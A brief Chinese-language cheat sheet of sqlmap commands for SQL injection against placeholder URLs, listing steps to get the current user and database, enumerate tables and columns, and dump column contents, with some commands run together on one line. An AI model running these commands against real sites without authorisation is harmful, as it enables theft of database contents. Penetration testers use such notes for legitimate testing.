基本步骤：
sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称
sqlmap -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
日常操作中差不多就这些，需要获取更多信息，可以在百度文库搜“sqlmap使用手记”